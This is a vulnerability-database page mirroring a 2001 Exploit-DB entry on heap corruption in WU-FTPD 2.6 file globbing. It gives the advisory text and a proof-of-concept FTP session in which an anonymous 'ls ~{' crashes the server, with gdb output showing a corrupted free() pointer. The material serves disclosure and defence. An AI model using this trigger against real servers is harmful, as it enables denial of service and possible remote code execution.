Lucene search
+L

WU-FTPD 2.6 - File Globbing Heap Corruption

🗓️ 27 Nov 2001 00:00:00Reported by Core Security TechnologiesType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Wu-Ftpd 2.6 has a file globbing heap corruption allowing remote code execution vulnerabilities.

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for CVE-1999-0078
3 Aug 202504:29
gitee
Core Security
WU-FTPD Improper Ftpglob Error Handling Vulnerability
1 Jan 197600:00
coresecurity
CVE
CVE-2001-0550
25 Jun 200204:00
cve
Cvelist
CVE-2001-0550
25 Jun 200204:00
cvelist
Tenable Nessus
Debian DSA-087-1 : wu-ftpd - remote root exploit
29 Sep 200400:00
nessus
Tenable Nessus
Multiple FTPD glob Command Arbitrary Command Execution
6 Dec 200100:00
nessus
Tenable Nessus
Mandrake Linux Security Advisory : wu-ftpd (MDKSA-2001:090)
31 Jul 200400:00
nessus
Exploit DB
WU-FTPD 2.6.1 - Remote Command Execution
14 May 200200:00
exploitdb
NVD
CVE-2001-0550
30 Nov 200105:00
nvd
OpenVAS
FTPD glob Heap Corruption
3 Nov 200500:00
openvas
Rows per page
source: https://www.securityfocus.com/bid/3581/info

Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.

Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.

This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions.

ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.74762
32